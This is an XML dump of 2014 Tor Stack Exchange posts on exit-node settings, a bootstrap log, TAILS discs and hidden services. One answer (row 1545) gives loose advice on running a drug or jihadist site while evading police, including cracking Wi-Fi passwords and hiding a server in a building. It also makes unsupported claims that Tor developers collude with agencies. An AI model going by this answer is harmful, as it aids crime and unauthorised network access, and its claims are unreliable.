  <row Id="1530" PostTypeId="2" ParentId="1523" CreationDate="2014-02-13T20:34:48.847" Score="0" Body="&lt;p&gt;If you block sites in any way except using ExitPolicy, e.g. through firewall rules, a transparent proxy, broken DNS or something else, then you're liable to get the BadExit flag, then nobody will use your exit node. This is counter-productive, so be careful not to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some exit node admins don't deliberately block any sites themselves, but their upstream providers do some of these things, and get the BadExit flag that way.&lt;/p&gt;&#xA;" OwnerUserId="301" LastActivityDate="2014-02-13T20:34:48.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1531" PostTypeId="2" ParentId="1482" CreationDate="2014-02-13T20:39:29.227" Score="1" Body="&lt;p&gt;Any distribution which doesn't ship too much rubbish. Don't use a 64-bit OS, because that uses more memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Debian can easily run Tor on x86. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you wanted a GUI, you are going to have to be patient. Or use Windows XP (although 256M is still pushing it a bit).&lt;/p&gt;&#xA;" OwnerUserId="301" LastActivityDate="2014-02-13T20:39:29.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1532" PostTypeId="2" ParentId="1075" CreationDate="2014-02-13T21:24:12.400" Score="2" Body="&lt;p&gt;TBB version 3.5 or newer no longer employs Vidalia Control Panel. For more information and how to manually start Vidalia Control Panel if you want to, &lt;a href=&quot;https://tor.stackexchange.com/questions/1075/what-happened-to-vidalia#comment1164_1076&quot;&gt;read Roger Dingledine comment above&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="107" LastEditDate="2016-05-24T19:34:23.347" LastActivityDate="2016-05-24T19:34:23.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1533" PostTypeId="1" CreationDate="2014-02-14T02:43:29.150" Score="7" ViewCount="28411" Body="&lt;p&gt;Would like a step by step explanation on how i can set my Tor to only use USA ip/exit nodes, thank you....&lt;/p&gt;&#xA;" OwnerUserId="1164" LastActivityDate="2014-02-14T05:48:38.960" Title="I want USA only ip addresses, how do i set that up?" Tags="|exit-relays|support|help|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-14T12:24:25.993" ContentLicense="CC BY-SA 3.0" />
  <row Id="1534" PostTypeId="2" ParentId="1533" CreationDate="2014-02-14T05:48:38.960" Score="11" Body="&lt;p&gt;Look for &lt;code&gt;Data/Tor/torrc&lt;/code&gt; file inside your Tor Browser Bundle directory.&#xA;Add the following line to your &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExitNodes {us}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's all.&lt;/p&gt;&#xA;" OwnerUserId="731" LastActivityDate="2014-02-14T05:48:38.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1535" PostTypeId="1" CreationDate="2014-02-14T13:04:36.997" Score="3" ViewCount="220" Body="&lt;p&gt;I have created a simple html page stored locally with quick links to my favorite Tor services and set it as my home page for Tor Browser, but it seems to be overridden with the default torproject.org page every time I restart Tor. Is this a 'security' measure or have I missed something?&lt;/p&gt;&#xA;" OwnerUserId="1166" LastEditorUserId="923" LastEditDate="2015-02-04T00:55:35.727" LastActivityDate="2015-02-04T00:55:35.727" Title="Home page on Tor Browser keeps reverting" Tags="|tor-browser-bundle|customization|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1536" PostTypeId="1" CreationDate="2014-02-14T14:20:43.643" Score="3" ViewCount="182" Body="&lt;p&gt;When trying to post a comment in some tech forums using Tor, I log in (accepted), type my comments and try to submit them.&#xA;I am then taken to the login window where I am required to log in again and then I am presented with a blank comment window where I have to post my comments again. :-/&#xA;This loop continues as long as I care to keep doing it.&#xA;I used to be able to log in and post while using tor.&#xA;What's up?&lt;/p&gt;&#xA;" OwnerUserId="1167" LastActivityDate="2014-03-31T12:13:15.673" Title="Site login does not persist" Tags="|browsers|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1537" PostTypeId="1" AcceptedAnswerId="2095" CreationDate="2014-02-14T16:49:52.410" Score="9" ViewCount="14969" Body="&lt;p&gt;What does &quot;[Warning] Rejecting SOCKS request for anonymous connection to private address [scrubbed].&quot; means? Vidalia occasionally gives this warning.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-05-13T10:02:57.957" LastActivityDate="2018-06-04T11:53:46.687" Title="What does &quot;[Warning] Rejecting SOCKS request for anonymous connection to private address [scrubbed].&quot; means?" Tags="|tor-browser-bundle|anonymity|windows|vidalia|socks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1538" PostTypeId="1" CreationDate="2014-02-15T09:38:15.567" Score="1" ViewCount="153" Body="&lt;p&gt;I'm using tor to get round a restrictive proxy, but the IP of the proxy rotates and changes depending on what computer I'm using. Can I put in a range of IPs and have tor route through them?&lt;/p&gt;&#xA;" OwnerUserId="1175" LastEditorUserId="1175" LastEditDate="2014-02-18T22:10:52.930" LastActivityDate="2015-08-18T03:18:37.310" Title="can anti-proxy settings be used with dynamic proxys?" Tags="|tor-browser-bundle|anonymity|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-25T06:12:24.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="1539" PostTypeId="1" CreationDate="2014-02-15T16:01:37.413" Score="1" ViewCount="2182" Body="&lt;p&gt;Hi there I'm trying to update my TBB from 3.5.0 to 3.5.2 but is having issue connecting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I did:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the TBB 3.5.2 using TBB 3.5.0 and verify the signature, it shows &#xA;Good signature from Erinn Clark and so on (sorry I don't know how to dump the text from windows XP's cmd window)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Run the install program and place TBB 3.5.2 to a folder different than TBB 3.5.0.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start TBB 3.5.2 and specify the same bridge setting as TBB 3.5.0. (I just copy and pasted bridge address from TBB 3.5.0's torrc to the bridge setting window during startup.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After clicking connect button, TBB 3.5.2 just stuck at 'connecting to a directory server' phase (the progress bar remained at 0% all the time) forever (all night long) and I can't establish connections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a log dumping (sorry guys it was long and messy, I'll only give messages critical to the question), :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Feb 15 21:53:34.000 [info] or_state_load(): Initialized state&#xA;Feb 15 21:53:34.000 [debug] circuit_build_times_disabled(): CircuitBuildTime learning is not disabled. Consensus=0, Config=0, AuthDir=0, StateFile=0&#xA;Feb 15 21:53:34.000 [debug] circuit_build_times_disabled(): CircuitBuildTime learning is not disabled. Consensus=0, Config=0, AuthDir=0, StateFile=0&#xA;Feb 15 21:53:34.000 [info] circuit_build_times_parse_state(): Adding 0 timeouts.&#xA;Feb 15 21:53:34.000 [info] circuit_build_times_parse_state(): Loaded 0/0 values from 0 lines in circuit time histogram&#xA;Feb 15 21:53:34.000 [debug] circuit_build_times_disabled(): CircuitBuildTime learning is not disabled. Consensus=0, Config=0, AuthDir=0, StateFile=0&#xA;Feb 15 21:53:34.000 [info] or_state_save(): Saved state to &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\state&quot;&#xA;Feb 15 21:53:34.000 [info] read_file_to_str(): Could not open &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\router-stability&quot;: No such file or directory&#xA;Feb 15 21:53:34.000 [info] tor_process_monitor_new(): Successfully opened handle to process 1788; monitoring it.&#xA;Feb 15 21:53:34.000 [info] cell_ewma_set_scale_factor(): Disabled cell_ewma algorithm because of value in Default value&#xA;Feb 15 21:53:34.000 [notice] Parsing GEOIP IPv4 file D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\geoip.&#xA;Feb 15 21:53:35.000 [info] geoip_load_file(): Failed to open GEOIP file C:\Documents and Settings\Anthrax.M062-27213162A6\Application Data\tor\geoip6.  &#xA;Feb 15 21:53:35.000 [info] crypto_global_init(): OpenSSL version matches version from headers (1000106f: OpenSSL 1.0.1f 6 Jan 2014).&#xA;Feb 15 21:53:35.000 [info] crypto_global_init(): NOT using OpenSSL engine support.&#xA;Feb 15 21:53:35.000 [info] evaluate_evp_for_aes(): This version of OpenSSL has a known-good EVP counter-mode implementation. Using it.&#xA;Feb 15 21:53:36.000 [info] tor_tls_init(): OpenSSL OpenSSL 1.0.1f 6 Jan 2014 looks like version 0.9.8m or later; I will try SSL_OP to enable renegotiation&#xA;Feb 15 21:53:36.000 [debug] mp_pool_new(): Capacity is 248, item size is 528, alloc size is 130944&#xA;Feb 15 21:53:36.000 [info] Bootstrapped 0%: Starting.&#xA;Feb 15 21:53:36.000 [info] read_file_to_str(): Could not open &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\cached-certs&quot;: No such file or directory&#xA;Feb 15 21:53:36.000 [info] read_file_to_str(): Could not open &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\cached-consensus&quot;: No such file or directory&#xA;Feb 15 21:53:36.000 [info] read_file_to_str(): Could not open &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\unverified-consensus&quot;: No such file or directory&#xA;Feb 15 21:53:36.000 [info] read_file_to_str(): Could not open &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\cached-microdesc-consensus&quot;: No such file or directory&#xA;Feb 15 21:53:36.000 [info] read_file_to_str(): Could not open &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\unverified-microdesc-consensus&quot;: No such file or directory&#xA;Feb 15 21:53:36.000 [info] tor_mmap_file(): Couldn't mmap file &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\cached-microdescs&quot;: 系统找不到指定的文件。&#xA;&#xA;&#xA;Feb 15 21:53:36.000 [info] read_file_to_str(): Could not open &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\cached-microdescs.new&quot;: No such file or directory&#xA;Feb 15 21:53:36.000 [info] microdesc_cache_reload(): Reloaded microdescriptor cache. Found 0 descriptors.&#xA;Feb 15 21:53:36.000 [info] tor_mmap_file(): Couldn't mmap file &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\cached-descriptors&quot;: 系统找不到指定的文件。&#xA;&#xA;&#xA;Feb 15 21:53:36.000 [info] tor_mmap_file(): Couldn't mmap file &quot;D:\My Documents\AXD\E352BDT\Tor Browser\Data\Tor\cached-extrainfo&quot;: 系统找不到指定的文件。&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and close to the end of log, it shows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Feb 15 21:59:12.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Feb 15 21:59:12.000 [debug] channel_tls_connect(): In channel_tls_connect() for channel 00EA3BD0 (global id 0)&#xA;Feb 15 21:59:12.000 [warn] We were supposed to connect to bridge '173.246.104.81:45698' using pluggable transport 'obfs3', but we can't find a pluggable transport proxy supporting 'obfs3'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running.&#xA;Feb 15 21:59:12.000 [debug] channel_change_state(): Changing state of channel 00EA3BD0 (global ID 0) from &quot;opening&quot; to &quot;channel error&quot;&#xA;Feb 15 21:59:12.000 [info] circuit_handle_first_hop(): connect to firsthop failed. Closing.&#xA;Feb 15 21:59:12.000 [info] circuit_build_failed(): Our circuit died before the first hop with no connection&#xA;Feb 15 21:59:12.000 [info] connection_ap_fail_onehop(): Closing one-hop stream to '$0000000000000000000000000000000000000000/173.246.104.81' because the OR conn just failed.&#xA;Feb 15 21:59:12.000 [debug] circuit_increment_failure_count(): n_circuit_failures now 1.&#xA;Feb 15 21:59:12.000 [info] circuit_get_open_circ_or_launch(): No safe circuit (purpose 5) ready for edge connection; delaying.&#xA;Feb 15 21:59:12.000 [info] connection_ap_make_link(): ... application connection created and linked.&#xA;Feb 15 21:59:12.000 [debug] connection_add_impl(): new conn type Directory, socket -1, address 173.246.104.81, n_conns 6.&#xA;Feb 15 21:59:12.000 [debug] fetch_bridge_descriptors(): ask_bridge_directly=1 (1, 1, 0)&#xA;Feb 15 21:59:12.000 [debug] directory_initiate_command_rend(): anonymized 0, use_begindir 1.&#xA;Feb 15 21:59:12.000 [debug] directory_initiate_command_rend(): Initiating server descriptor fetch&#xA;Feb 15 21:59:12.000 [info] connection_ap_make_link(): Making internal direct tunnel to [scrubbed]:47456 ...&#xA;Feb 15 21:59:12.000 [debug] connection_add_impl(): new conn type Socks, socket -1, address (Tor_internal), n_conns 7.&#xA;Feb 15 21:59:12.000 [debug] circuit_get_open_circ_or_launch(): considering 1, $0000000000000000000000000000000000000000&#xA;Feb 15 21:59:12.000 [debug] onion_pick_cpath_exit(): Launching a one-hop circuit for dir tunnel.&#xA;Feb 15 21:59:12.000 [info] onion_pick_cpath_exit(): Using requested exit node '$0000000000000000000000000000000000000000~0000000000000000000 at 23.239.140.214'&#xA;Feb 15 21:59:12.000 [debug] onion_extend_cpath(): Path is 0 long; we want 1&#xA;Feb 15 21:59:12.000 [debug] onion_extend_cpath(): Chose router $0000000000000000000000000000000000000000~0000000000000000000 at 23.239.140.214 for hop 1 (exit is 0000000000000000000000000000000000000000)&#xA;Feb 15 21:59:12.000 [debug] onion_extend_cpath(): Path is complete: 1 steps long&#xA;Feb 15 21:59:12.000 [debug] circuit_handle_first_hop(): Looking for firsthop '23.239.140.214:47456'&#xA;Feb 15 21:59:12.000 [info] circuit_handle_first_hop(): Next router is [scrubbed]: Not connected. Connecting.&#xA;Feb 15 21:59:12.000 [debug] channel_tls_connect(): In channel_tls_connect() for channel 00EA3BD0 (global id 1)&#xA;Feb 15 21:59:12.000 [warn] We were supposed to connect to bridge '23.239.140.214:47456' using pluggable transport 'obfs2', but we can't find a pluggable transport proxy supporting 'obfs2'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running.&#xA;Feb 15 21:59:12.000 [debug] channel_change_state(): Changing state of channel 00EA3BD0 (global ID 1) from &quot;opening&quot; to &quot;channel error&quot;&#xA;Feb 15 21:59:12.000 [info] circuit_handle_first_hop(): connect to firsthop failed. Closing.&#xA;Feb 15 21:59:12.000 [info] circuit_build_failed(): Our circuit died before the first hop with no connection&#xA;Feb 15 21:59:12.000 [info] connection_ap_fail_onehop(): Closing one-hop stream to '$0000000000000000000000000000000000000000/23.239.140.214' because the OR conn just failed.&#xA;Feb 15 21:59:12.000 [debug] circuit_increment_failure_count(): n_circuit_failures now 2.&#xA;Feb 15 21:59:12.000 [info] circuit_get_open_circ_or_launch(): No safe circuit (purpose 5) ready for edge connection; delaying.&#xA;Feb 15 21:59:12.000 [info] connection_ap_make_link(): ... application connection created and linked.&#xA;Feb 15 21:59:12.000 [debug] connection_add_impl(): new conn type Directory, socket -1, address 23.239.140.214, n_conns 8.&#xA;Feb 15 21:59:12.000 [debug] fetch_bridge_descriptors(): ask_bridge_directly=1 (1, 1, 0)&#xA;Feb 15 21:59:12.000 [debug] directory_initiate_command_rend(): anonymized 0, use_begindir 1.&#xA;Feb 15 21:59:12.000 [debug] directory_initiate_command_rend(): Initiating server descriptor fetch&#xA;Feb 15 21:59:12.000 [info] connection_ap_make_link(): Making internal direct tunnel to [scrubbed]:52176 ...&#xA;Feb 15 21:59:12.000 [debug] connection_add_impl(): new conn type Socks, socket -1, address (Tor_internal), n_conns 9.&#xA;Feb 15 21:59:12.000 [debug] circuit_get_open_circ_or_launch(): considering 1, $0000000000000000000000000000000000000000&#xA;Feb 15 21:59:12.000 [debug] onion_pick_cpath_exit(): Launching a one-hop circuit for dir tunnel.&#xA;Feb 15 21:59:12.000 [info] onion_pick_cpath_exit(): Using requested exit node '$0000000000000000000000000000000000000000~0000000000000000000 at 54.226.153.254'&#xA;Feb 15 21:59:12.000 [debug] onion_extend_cpath(): Path is 0 long; we want 1&#xA;Feb 15 21:59:12.000 [debug] onion_extend_cpath(): Chose router $0000000000000000000000000000000000000000~0000000000000000000 at 54.226.153.254 for hop 1 (exit is 0000000000000000000000000000000000000000)&#xA;Feb 15 21:59:12.000 [debug] onion_extend_cpath(): Path is complete: 1 steps long&#xA;Feb 15 21:59:12.000 [debug] circuit_handle_first_hop(): Looking for firsthop '54.226.153.254:52176'&#xA;Feb 15 21:59:12.000 [info] circuit_handle_first_hop(): Next router is [scrubbed]: Not connected. Connecting.&#xA;Feb 15 21:59:12.000 [debug] channel_tls_connect(): In channel_tls_connect() for channel 00EA3BD0 (global id 2)&#xA;Feb 15 21:59:12.000 [warn] We were supposed to connect to bridge '54.226.153.254:52176' using pluggable transport 'obfs2', but we can't find a pluggable transport proxy supporting 'obfs2'. This can happen if you haven't provided a ClientTransportPlugin line, or if your pluggable transport proxy stopped running.&#xA;Feb 15 21:59:12.000 [debug] channel_change_state(): Changing state of channel 00EA3BD0 (global ID 2) from &quot;opening&quot; to &quot;channel error&quot;&#xA;Feb 15 21:59:12.000 [info] circuit_handle_first_hop(): connect to firsthop failed. Closing.&#xA;Feb 15 21:59:12.000 [info] circuit_build_failed(): Our circuit died before the first hop with no connection&#xA;Feb 15 21:59:12.000 [info] connection_ap_fail_onehop(): Closing one-hop stream to '$0000000000000000000000000000000000000000/54.226.153.254' because the OR conn just failed.&#xA;Feb 15 21:59:12.000 [debug] circuit_increment_failure_count(): n_circuit_failures now 3.&#xA;Feb 15 21:59:12.000 [info] circuit_get_open_circ_or_launch(): No safe circuit (purpose 5) ready for edge connection; delaying.&#xA;Feb 15 21:59:12.000 [info] connection_ap_make_link(): ... application connection created and linked.&#xA;Feb 15 21:59:12.000 [debug] connection_add_impl(): new conn type Directory, socket -1, address 54.226.153.254, n_conns 10.&#xA;Feb 15 21:59:12.000 [debug] fetch_bridge_descriptors(): ask_bridge_directly=1 (1, 1, 0)&#xA;Feb 15 21:59:12.000 [debug] directory_initiate_command_rend(): anonymized 0, use_begindir 1.&#xA;Feb 15 21:59:12.000 [debug] directory_initiate_command_rend(): Initiating server descriptor fetch&#xA;Feb 15 21:59:12.000 [info] connection_ap_make_link(): Making internal direct tunnel to [scrubbed]:52176 ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not very techincal savvy, but judging from the fact that TBB 3.5.0 works fine, then the problem must have noting to do with hardware or network connection. Where is wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: I'm using winXP SP3, Kapasky AV. I live in a country with heavy network censorship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1176" LastEditorUserId="923" LastEditDate="2014-03-06T20:07:07.990" LastActivityDate="2014-03-06T20:07:07.990" Title="TBB 3.5.2 fail to connect, but TBB 3.5.0 works, where is wrong?" Tags="|tor-browser-bundle|windows|pluggable-transports|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1544" PostTypeId="1" CreationDate="2014-02-16T16:20:42.393" Score="1" ViewCount="2011" Body="&lt;p&gt;I attempt to burn the TAILS disk like this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZFloW.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/XGUxb.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PEWCU.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;The result on the disk is this:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/p5ZCL.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;and all attempts to boot TAILS fail. Why is this happening and how do I fix it?&lt;/p&gt;&#xA;" OwnerUserId="812" LastActivityDate="2014-03-22T02:10:20.080" Title="Why are my attempts to burn TAILS failing?" Tags="|tails|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1545" PostTypeId="2" ParentId="1520" CreationDate="2014-02-16T20:08:29.877" Score="0" Body="&lt;p&gt;question is too much general, but...&#xA;you are never 100% protected. first of all Tor developers are not criminals, if FBI asks them for collaboration, they will do it. theoretically if you make jihad site behind tor, American intelligence will visit tor developers and ask them to collaborate, my opinion is they will collaborate as they could do it in the past in the case of freedom hosting. they can &quot;forget&quot; to make update 7 days and give security holes to agents, so agents catch you, after that they update tor browser bundle and they protect other users generally. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to be 100% protected, you must be programmer, you must create your own code, and employ your own 1000 servers/nodes. as you see, it is possible only if you are rich and if you are programmer. in all other cases, you relay on other people and that's not good for your security. when security is in question, you can believe only to yourself. &#xA;so, when you believe to the other people, yes, you can be traced, but it doesn't mean you will be. it depends about nature of your website, how much you will be in eyes of law enforcement, if you sell drugs, FBI will hunt you, if you make jihad site, NSA will hunt you and they have 1000 programmers (TAO unit) for attacking tor software, and as I said, in the end, they will ask developers for help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;as long as you are low profile, you can sell drugs, if you make market with 100 000 users, they will hunt you more. cops like to get better ranking in police, it means better salary, they know they will never stop drug business, after they arrest you, new site will pop up very fast. in the end, cops are corrupted but it is not topic here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;very simple attack on you can be overloading of your server, to discover physical location of it, NSA and maybe even FBI can collect database of all tor servers and they can ask data-centers to help them to discover Tor server that is overloaded after their attack. &#xA;so, every tor server located in data-center can be snitched by people working there, if they are tor friendly, it doesn't mean they support illegal business. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;automatically when you rent server you can already make mistake. it happened in clearnet that cops sized indymedia server without to tell them anything, they just came to data-center and took server, so, they could attach spying device to server even without to move it from data-center or they could install some software to snitch server. they are authorities, there is no data-center that will refuse collaboration with them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I never researched nature of public wifi to know who operate it and can they block your access to that spot. so, I will not comment about it. if it is really neutral spot, it can be used, theoretically you can hide server in the building and use wifi, you just need to plug in hardware in electricity and connect server one time. after that it will function until they succeed to block it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;many people can break wifi passwords (with backtrack) of some internet provider and then it can be used to connect your server but they can easily change password (or block tor port) if they see that tor is used through their wifi network. not all internet providers allow tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;punishments depend from type of your business/website, in which state is located server, and it depends from judge in the end. it is not the same to locate server for selling cannabis in Holland or Germany, German judge will give you prison sentence and maybe even NL judge too if you didn't pay taxes. cops hunt hells angels for avoiding taxes, not only for some bank robbery. and it is not the same punishment if you sold 100 gram or 10kg, etc. admins fo utopia market were targeted by cops to make bigger sentence for them, &#xA;cops bought from them a lot of drugs to send them longer to the prison, their market operated just one week and they would get maximum one year of prison, but after cops ordered so much drugs from them, they will get maybe even 10 years per person. if their server was in Iran, they would face death penalty. so, choose country for server carefully :) Swedish prisons are better than Spanish, etc. in Denmark, if you are not domestic citizen, you serve 50% of sentence, after that they deport you back to your country. but I think DK is small and totally under surveillance, but you must decide about it. but if you find some building with wifi and you hide server in the wall/roof, and if your server is very quiet, it would be good :) &lt;/p&gt;&#xA;" OwnerUserId="1188" LastActivityDate="2014-02-16T20:08:29.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1546" PostTypeId="1" CreationDate="2014-02-16T23:33:14.877" Score="2" ViewCount="3650" Body="&lt;p&gt;All the Tor Hidden Services seem to be written in PHP or just plain HTML.  If this is possible, is there any reason not to do it?  How would one go about doing it?&lt;/p&gt;&#xA;" OwnerUserId="1189" LastActivityDate="2014-07-03T22:50:30.757" Title="Is it possible to create a Tor Hidden Service in Python (Django) or Ruby (Rails)?" Tags="|onion-services|python|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1547" PostTypeId="2" ParentId="1544" CreationDate="2014-02-17T08:05:39.500" Score="1" Body="&lt;p&gt;First make sure your download is not corrupt,&#xA;I would reccommend that you try to use use ImgBurn instead of windows dvd burning software. &#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/ImgBurn&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/ImgBurn&lt;/a&gt; , it's a free tool that burns almost any kind of formats to cd\DVD.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-02-17T08:05:39.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1548" PostTypeId="2" ParentId="1546" CreationDate="2014-02-17T13:19:32.223" Score="2" Body="&lt;p&gt;Yes, you can use any tools you want to run hidden services. On the &lt;a href=&quot;https://www.torproject.org/docs/tor-hidden-service.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Project's Hidden Service setup page&lt;/a&gt; for Step 1 you can use any webserver stack that suits your needs.&lt;/p&gt;&#xA;" OwnerUserId="610" LastActivityDate="2014-02-17T13:19:32.223" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1549" PostTypeId="2" ParentId="1546" CreationDate="2014-02-17T13:30:20.813" Score="2" Body="&lt;p&gt;You can use any programming language for a hidden service. The reason why most of the hidden services using PHP might be the same why many services in the web use PHP. ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your hidden service basically needs to listen on some TCP port. This can be for instance a webserver. Your application takes the request from that webserver and does something with it. You can also use the infamous Python example: &lt;code&gt;python -m SimpleHTTPServer&lt;/code&gt; to service sites via hidden services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically you write your application like you did it using no hidden services. When you are finished, you just tell Tor to forward the requests from the hidden service to the service you are running: &lt;code&gt;HiddenServicePort 80 127.0.0.1:80&lt;/code&gt;. Each request which arrives at port 80 of your hidden service is mapped to port 80 on your machine. So when your hidden service also has a public address and serves the same service on that address, a client will get the same answer on the public way as on the hidden service way. It does not depend on programming languages.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-17T13:30:20.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1551" PostTypeId="1" AcceptedAnswerId="1557" CreationDate="2014-02-17T18:40:11.707" Score="2" ViewCount="1133" Body="&lt;p&gt;There are some onion sites I want to keep track of but the URLs are so long. Is using pinned tabs and bookmarks a secure option? Will people be able to track me if I set bookmarks or pin some tabs?&lt;/p&gt;&#xA;" OwnerUserId="1191" LastEditorUserId="923" LastEditDate="2014-03-06T20:07:19.057" LastActivityDate="2014-03-06T20:07:19.057" Title="Is using Pinned Tabs and Bookmarks bad for Tor Browser?" Tags="|tor-browser-bundle|anonymity|security|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1553" PostTypeId="2" ParentId="1539" CreationDate="2014-02-18T00:12:14.487" Score="2" Body="&lt;p&gt;You need Pluggable Transport bundle to use obfuscated bridges. And you seems like using non-pt bundle (no yet 3.5.2-pt built).&lt;/p&gt;&#xA;" OwnerUserId="1193" LastActivityDate="2014-02-18T00:12:14.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1554" PostTypeId="1" CreationDate="2014-02-18T01:12:00.050" Score="1" ViewCount="1646" Body="&lt;p&gt;I used the link from the Tor newsletter to get the latest version of Tor. When I installed and then launched it, I got an alert that there was a Trojan virus. My antivirus killed it and it hasn't popped up again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question is - how did I get a Trojan virus from downloading Tor?&lt;/p&gt;&#xA;" OwnerUserId="1194" LastEditorUserId="71" LastEditDate="2014-02-18T16:40:58.367" LastActivityDate="2014-02-18T16:40:58.367" Title="Got a Trojan with Tor download" Tags="|malware|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1555" PostTypeId="2" ParentId="1554" CreationDate="2014-02-18T03:04:25.113" Score="4" Body="&lt;p&gt;I have heard of antivirus software wrongly flagging Tor in the past because it's used by some viruses. That could be the case here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should check the digital signature of your downloaded Tor browser bundle file.&#xA;There are some videos describing how to do that &lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot;&gt;here&lt;/a&gt; under the heading &quot;How to verify the digital signatures&quot;. It's also described &lt;a href=&quot;https://www.torproject.org/docs/verifying-signatures.html.en&quot;&gt;here&lt;/a&gt; if you prefer to read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the signature is &lt;em&gt;correct&lt;/em&gt; then it's almost certain you have a legitimate copy of Tor.&lt;br/&gt;&#xA;If the signature is &lt;em&gt;incorrect&lt;/em&gt; then you've got yourself a bad copy of Tor, although it's not clear how.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-02-18T03:04:25.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
